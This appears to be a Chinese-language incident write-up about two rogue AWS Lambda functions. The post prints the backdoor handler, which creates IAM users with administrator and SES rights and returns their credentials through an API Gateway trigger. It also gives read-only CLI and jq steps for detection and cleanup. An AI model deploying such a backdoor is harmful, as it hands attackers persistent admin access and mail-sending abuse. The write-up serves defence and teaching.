INC-2025-0717highAWS 後門 Lambda

一封「Python 3.9 停止支援」的例行通知, 揭露了帳號裡不該存在的兩支 Lambda

從沒用過的區域裡多了兩支函式,程式碼只做一件事:隨機建一個 IAM 使用者,掛上 AdministratorAccess 與 SES 全權限,把密碼與金鑰回傳。這是一個能隨時自我補貨的後門。

事件期間 2025-07-14 → 07-18·整理於 2026-09-17·9 分鐘·5 可證明2 推論3 缺口
AWSIAMLambdaCloudTrailSES 濫用
tl;dr
  1. AWS Health 通知帳號內有 Lambda 使用即將停止支援的 Python 3.9。逐區列出後,只有 us-east-1 有兩支函式,而團隊從未在該區域部署過任何東西。
  2. 兩支函式的程式碼一模一樣:create_user → create_login_profile → create_access_key → attach AdministratorAccess / IAMFullAccess / AmazonSESFullAccess,回傳主控台登入 URL、密碼與金鑰。其中一支掛了 API Gateway 觸發。
  3. 用 CloudShell 把 CloudTrail 事件全量撈下來,依來源 IP 與事件名稱統計,把調查者自己的活動與異常來源分開。
◉ 攻擊者視角他要的是一個「按一下就生出管理員」的自動販賣機,以及 SES 寄信權限。帳號被清理了?打一次 API Gateway,新的管理員又出來了。
◎ 防守者視角你從沒用過的區域裡不該有任何資源。逐區盤點是最便宜的偵測;CreateUser 與 AttachUserPolicy 是最該告警的事件。
本篇目錄
ap-northeast-1us-east-1正常業務λ ×2 + API GWcreate_user → AdministratorAccess → SES

一封例行通知

2025 年 7 月,AWS 寄來一封標題為「Lambda end of support for Python 3.9」的通知,說帳號內有函式使用即將停止支援的執行環境。信裡附了一條指令,教你逐區列出這些函式:

CloudShell · 逐區列出 Python 3.9 的 LambdaREAD-ONLY
$ for region in $(aws ec2 describe-regions --query "Regions[].RegionName" --output text); do
  echo "Region: $region"
  aws lambda list-functions --region $region \
    --query "Functions[?Runtime=='python3.9'].FunctionName" --output text
done

Region: ap-south-1
Region: eu-north-1
...
Region: ap-northeast-1          # ← 我們唯一使用的區域:空
...
Region: us-east-1
sesyu787                        # ← 從沒在這個區域部署過任何東西

它做什麼

兩支函式的程式碼幾乎一模一樣,去掉註解後只做一件事:

def lambda_handler(event, context):
    iam = boto3.client("iam")
    user_name = f"user-{uuid.uuid4().hex[:8]}"          # 隨機使用者名稱
    password = "".join(random.choices(chars, k=20))     # 隨機密碼

    iam.create_user(UserName=user_name)
    iam.create_login_profile(UserName=user_name, Password=password, PasswordResetRequired=False)
    access_key = iam.create_access_key(UserName=user_name)
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess")
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/IAMFullAccess")
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AmazonSESFullAccess")

    return {"IAMLoginURL": f"https://{account_id}.signin.aws.amazon.com/console",
            "Username": user_name, "Password": password,
            "AccessKeyId": ..., "SecretAccessKey": ...}

三個重點:

  1. 這是一台自動販賣機。 每執行一次,就多一個具備 AdministratorAccess 的使用者,主控台登入 URL、密碼、金鑰全部打包回傳。
  2. sesyu787 掛了 API Gateway 觸發。 攻擊者不需要再拿到任何憑證,只要對一個 URL 發請求,就能領一個新的管理員。就算你把他建的使用者全刪了,他打一次就補回來。
  3. AmazonSESFullAccess 說明了目的。 函式名稱裡的 ses 不是巧合。有 SES 全權限就能用你的網域信譽大量寄信,這是被盜 AWS 帳號最常見的變現方式之一。

這次外洩了什麼

這個案子的特別之處在於:外洩的憑證不是被撿走的,是被「生出來」的。每執行一次函式,就多一組全新的管理員憑證,而且是以 API 回應的 JSON 直接送到呼叫者手上。

leaked credentials這次外洩了什麼:服務、用途、存在形式
服務憑證類型用途存在形式放在哪權限範圍狀態
AWS IAM 使用者(函式自動建立)存取金鑰(access key ID + secret access key)攻擊者用來以程式方式操作整個帳號函式回傳的 JSON 欄位,明文API Gateway 端點的 HTTP 回應,不落地在任何檔案AdministratorAccess + IAMFullAccess + AmazonSESFullAccess2025-07 處置時一併停用並刪除;但無法確認總共生出過幾組
AWS 主控台登入(同一個使用者)login profile 密碼(20 碼隨機、不要求變更)讓攻擊者能直接登入主控台操作函式回傳的 JSON 欄位,明文,附帶登入 URL同上,隨 HTTP 回應送出與存取金鑰相同的管理員權限隨使用者刪除而失效
Amazon SES(寄信權限)不是獨立憑證:靠上面那組 IAM 身分取得寄信能力用受害帳號已驗證的網域大量寄信,是這次最直接的變現路徑IAM 政策授權(AmazonSESFullAccess),必要時可再自行建立 SMTP 憑證掛在函式產出的使用者身上所有區域的 SES 寄信與身分管理已隨使用者刪除;是否真的寄出過信屬缺口
Lambda 執行角色AWS 角色(短期憑證,非長期金鑰)讓函式本身有權呼叫 IAM 建立使用者執行環境自動注入的暫時憑證,不以檔案存在函式的執行角色設定IAM 寫入權限,足以建立使用者與掛政策刪除函式時一併刪除角色
最初被用來建立這兩支函式的憑證長期存取金鑰或不經 MFA 換到的暫時憑證攻擊者的初始存取;也是整案最該找出來的那一把格式無法確認:留存的事件摘要缺少完整的 userIdentity 與驗證上下文未知足以建立 Lambda、角色與 API Gatewaygap:處置時已輪替所有長期金鑰並撤銷進行中的工作階段,但無法指認是哪一把
憑證本身已遮蔽或失效;這裡只說明它是哪個服務、拿來做什麼、以什麼形式存放,讓你能對照自己的環境。
MFA 是門口檢查,工作階段像通行證

使用者完成一次驗證後,系統可能核發暫時憑證;後續 API 請求依憑證與授權政策判定,不會每個操作都再要求驗證碼。長期存取金鑰更是完全不經 MFA。「有開 MFA」保護的是互動登入,不是每一條 API 存取路徑。

用 CloudShell 把 CloudTrail 全部撈下來

主控台的事件歷史一次只給 50 筆,要看全貌得自己翻頁。這段迴圈把三天內的事件全量抓下來:

fetch_all_events.sh · 分頁撈取READ-ONLY
start_time=$(date -u -d '3 days ago' +%Y-%m-%dT%H:%M:%SZ)
end_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)
next_token=""
while true; do
if [ -z "$next_token" ]; then
  result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --output json)
else
  result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --next-token "$next_token" --output json)
fi
echo "$result" | jq -c '.Events[]' >> tmp_events.json
next_token=$(echo "$result" | jq -r '.NextToken // empty')
[ -z "$next_token" ] && break
done
jq -s '{Events: .}' tmp_events.json > all_events_full.json

接著三個問題,三段 jq:

jq · 每天幾筆、哪些 IP、某個 IP 做了什麼READ-ONLY
# 每天筆數:看有沒有異常暴增的日子
jq -r '.Events[] | .CloudTrailEvent | fromjson | .eventTime | split("T")[0]' all_events_full.json | sort | uniq -c
 2771 2025-07-14
 6304 2025-07-15
 6332 2025-07-16
 4384 2025-07-17

# 來源 IP 分布:先把自己的 IP 認出來,剩下的就是要追的
jq -r '.Events[] | .CloudTrailEvent | fromjson | .sourceIPAddress' all_events_full.json | sort | uniq -c | sort -nr

# 針對某個 IP 展開:時間、身分、事件、資源
jq -r '.Events[] | .CloudTrailEvent | fromjson
     | select(.sourceIPAddress == "X.X.X.X")
     | {time: .eventTime, user: .userIdentity.arn, event: .eventName, resource: .resources}' all_events_full.json

# 只看 Root 身分做過的事
jq -c '.Events[] | .CloudTrailEvent | fromjson | select(.userIdentity.type == "Root")
     | {eventTime, eventName, sourceIPAddress}' all_events_full.json

處置順序

發生了什麼
先移除 API Gateway 與 Lambda 的觸發關係,再刪函式與其執行角色。刪函式前先下載程式碼與設定作為證據。
當時留下的訊號
Lambda 主控台的觸發器清單;API Gateway 存取日誌(若有開)。
能擋下它的控制
對 CreateFunction、AddPermission、CreateRestApi 設告警;用 SCP 限制可用區域。

改密碼之後,調查還沒結束

已核發的暫時憑證有自己的生命週期。改了主控台密碼、開了 MFA,不會讓已經拿到的存取金鑰或工作階段失效。要依憑證類型採用對應的撤銷方式:長期金鑰直接停用並刪除;角色的工作階段用信任政策或內嵌拒絕政策讓指定時間前核發的 token 全部失效;再重新檢查信任政策、長期金鑰與異常資源,才能知道處置是否涵蓋整條存取路徑。

他不需要留在你的帳號裡,只需要留一個能隨時回來的門。
  • Lambda 放在你從不使用的區域,主控台預設只顯示當前區域,你很難注意到。
  • API Gateway 觸發讓他不用保存任何憑證。你清掉所有使用者,他打一次 URL 就補回來。
  • AdministratorAccess 是保險,AmazonSESFullAccess 才是生意:用你的網域信譽發信,被封的是你。
  • Python 3.9 的執行環境是他自己的失誤:AWS 的例行通知讓你看到了。

這個後門花了多少錢

挖礦會出現在帳單上,後門不會。下面這張表最重要的一件事,是「免費」那幾列:一台隨時生管理員的自動販賣機,運轉成本趨近於零,所以帳單永遠不會替你示警。

cost一台自動販賣機的帳:用量、單價、期間成本
項目用量單價期間US$NT$舉證
Lambda 後門函式 × 2
估:函式存在可證明,次數是假設值
128 MB × 約 3 秒/次;呼叫次數未知,以 1,000 次估US$0.20/百萬次 + US$0.0000166667/GB·秒2025-07-14 → 07-180.010函式程式碼與設定已下載存證;呼叫次數缺 CloudTrail 與 Lambda 指標,只能假設
API Gateway REST 端點(觸發器)
估:就算被打滿一百萬次也只要 US$3.50。後門的運轉成本低到不可能引起帳單注意
以 1,000 次請求估US$3.50/百萬次同上0.000觸發器設定可證明(Lambda 觸發器清單);請求數無存取日誌,無法得知
IAM 使用者、登入設定、存取金鑰
免費才是重點:這台自動販賣機永遠不會出現在任何一張帳單上
每執行一次產生 1 組具 AdministratorAccess 的憑證IAM 不計費2025-070.000AWS 公開牌價:IAM 本身不收費;函式程式碼可證明它建立使用者與金鑰
CloudTrail 管理事件(第一份副本)
免費卻沒設多區域 trail,所以事後只剩摘要
帳號預設 90 天事件歷史第一份管理事件副本免費持續0.000AWS 公開牌價:管理事件第一份副本不計費
多區域 trail 送 S3(當初若有開)
估:這 0.28 美元,就是「誰建的、用哪把憑證」這題答不出來的價格
約 1 GB/月的事件檔US$0.023/GB·月(S3 Standard)一年0.289以本案 4 天約 19,791 筆事件的量級外推;當時未開啟,因此沒有帳單
SES 濫用的情境估算
估:假設值。寄 100 萬封只要 US$100,被列進黑名單的卻是你的網域
以寄出 100 萬封估US$0.10/1,000 封假設情境100.003,200AmazonSESFullAccess 確實掛在函式產出的使用者上(程式碼可證明);寄信量為假設
SES 實際寄出量與網域信譽損失
真正可能的大額損失,落在這一列
缺口:留存資料沒有 SES 寄信統計與退信/投訴率,事後無法回答有沒有寄出
API Gateway 被呼叫幾次、生出過幾個管理員
後門的實際使用次數是整案最大的黑洞
缺口:留存事件檔省略 userIdentity 與 userAgent,兩個來源 IP 的事件檔為空
調查用的查詢
本案唯一有效的偵測手段,成本是零
逐區 list-functions、CloudTrail 分頁全量撈取CloudShell 免費(含 1 GB 儲存);lookup-events 不計費2025-07-170.000AWS 公開牌價:CloudShell 與 CloudTrail 事件歷史查詢不計費
調查與處置人力
估:這件事幾乎全部的成本都在這一列
約 2 人日:逐區盤點、全量撈取與比對、刪函式與使用者、輪替金鑰顧問日費 NT$20,000~35,000(估),取中間值 NT$27,5002025-07-15 → 07-181718.7555,000處置時間軸推估,無正式工時單;日費為假設值
攻擊者的運轉成本
估:邊際成本是零,所以他不需要挑目標,也不急著用
2 支函式+1 個 API 端點,全部跑在你的帳號上由受害者支付長期0.000函式與觸發器設定可證明資源都在我方帳號;他自身支出無從得知
攻擊者實際變現了多少
不知道他領走幾組管理員,就不知道他賺了什麼
缺口:沒有 API Gateway 存取日誌、沒有完整 CloudTrail、沒有 SES 統計
合計(僅可證明列)0.000
匯率假設 1 USD ≈ NT$32。單價為公開牌價或帳單實付,來源:AWS 公開牌價 us-east-1(2026-09 查詢):Lambda 每百萬次請求 US$0.20+每 GB·秒 US$0.0000166667、API Gateway REST 每百萬次 US$3.50、S3 Standard US$0.023/GB·月、SES à la carte US$0.10/1,000 封。「舉證」欄標明每筆損失的證據來源與等級( 可證明 推論 缺口)。

可證明的金額:US$0.00。 不是因為沒有損失,而是因為這個後門的運轉成本本來就接近零,可能造成的損失全部落在缺口那三列。挖礦劫持會被帳單抓到,後門不會——它只會安靜地待在你不看的區域,等你哪天需要它的時候(他需要,不是你)再吐一個管理員出來。

重點學習

keywords重點學習:最需要學習的 10 個關鍵字10
  1. 01
    逐區盤點(list-functions across regions)
    本案唯一有效的偵測,成本是零;你沒用過的區域裡不該有任何東西。
  2. 02
    API Gateway 觸發的 Lambda
    它讓攻擊者不必保存任何憑證:你清光所有使用者,他打一次 URL 就補回來。
  3. 03
    AmazonSESFullAccess
    AdministratorAccess 是保險,SES 才是生意;寄信信譽是最常被忽略、也最難修的資產。
  4. 04
    AttachUserPolicy / CreateUser / CreateAccessKey
    這三個事件是「有人在幫自己開管理員」的直接訊號,也是最該設即時告警的三個。
  5. 05
    aws:TokenIssueTime
    改密碼、開 MFA 都不會讓已核發的工作階段失效;要讓 token 全部作廢,靠的是這個條件。
  6. 06
    Lambda 執行角色
    函式能呼叫 IAM,是因為有人給了它 IAM 寫入權限;函式的權限往往比建立者以為的大。
  7. 07
    多區域 CloudTrail trail 與保留期
    事後答不出「誰建的」,就是因為只有 90 天事件歷史、沒有送 S3;一年不到一美元。
  8. 08
    lookup-events 分頁全量撈取
    主控台一次只給 50 筆,不把全量撈下來就不可能看出來源 IP 分布與異常日。
  9. 09
    先排除自己的活動
    CreateSession、PutCredentials 多半是 CloudShell 自己在跑;不先把自己排掉,你會追一整天的假線索。
  10. 10
    SCP 區域限制
    把沒用到的區域整個關掉,是唯一能讓「你不看的地方」不再存在的控制。

今天就可以來試試

try today今天就可以來試試15 分鐘

全部唯讀,不改任何設定;做完你會知道自己有沒有同樣的破口。

  1. 逐區列出所有 Lambda 函式,不只看你常用的那一區。
    for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws lambda list-functions --region $r --query 'Functions[].FunctionName' --output text; done
    看到什麼代表什麼:任何你沒部署過的區域出現函式,先當可疑處理:下載程式碼與設定存證,再看它的執行角色有什麼權限。
  2. 同樣逐區列 API Gateway,找免憑證的觸發入口。
    for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws apigateway get-rest-apis --region $r --query 'items[].name' --output text; done
    看到什麼代表什麼:你叫不出名字的 REST API,就是攻擊者不必保存憑證也能回來的那扇門。
  3. 列出 IAM 使用者與建立時間,再看誰掛著最高權限。
    aws iam list-users --query 'Users[].[UserName,CreateDate]' --output table
    aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --query 'PolicyUsers[].UserName' --output text
    看到什麼代表什麼:名稱像隨機字串、或建立時間你完全沒印象的使用者,就是自動販賣機的產物;管理員清單裡出現非人類帳號更要追。
  4. 檢查 CloudTrail 是不是多區域,而且有送到 S3。
    aws cloudtrail describe-trails --query 'trailList[].[Name,IsMultiRegionTrail,S3BucketName,HomeRegion]' --output table
    看到什麼代表什麼:沒有多區域 trail 或沒有 S3 儲存桶,代表 90 天之後你就答不出「誰建的」——本案的所有缺口都來自這裡。
  5. 看你不使用的區域裡,SES 是不是還在沙箱。
    aws sesv2 get-account --region us-east-1 --query '[ProductionAccessEnabled,SendingEnabled,EnforcementStatus]' --output text
    看到什麼代表什麼:你根本不用 SES 卻已經是生產存取狀態,就要當成寄信管道被人打開過;再去看寄信統計與投訴率。
  6. 查最近的高風險 IAM 事件。
    aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser --max-results 10 --query 'Events[].[EventTime,Username,EventName]' --output table
    看到什麼代表什麼:出現你不認得的 CreateUser,接著去查同一時間的 AttachUserPolicy 與 CreateAccessKey;三個事件連在一起,就是有人在幫自己開管理員。
newsletter
下一篇拆解直接寄到信箱

每篇新文章一封:三點摘要、攻擊者/防守者視角、今天能做的一件事。或先 加入會員 記錄你完成的任務。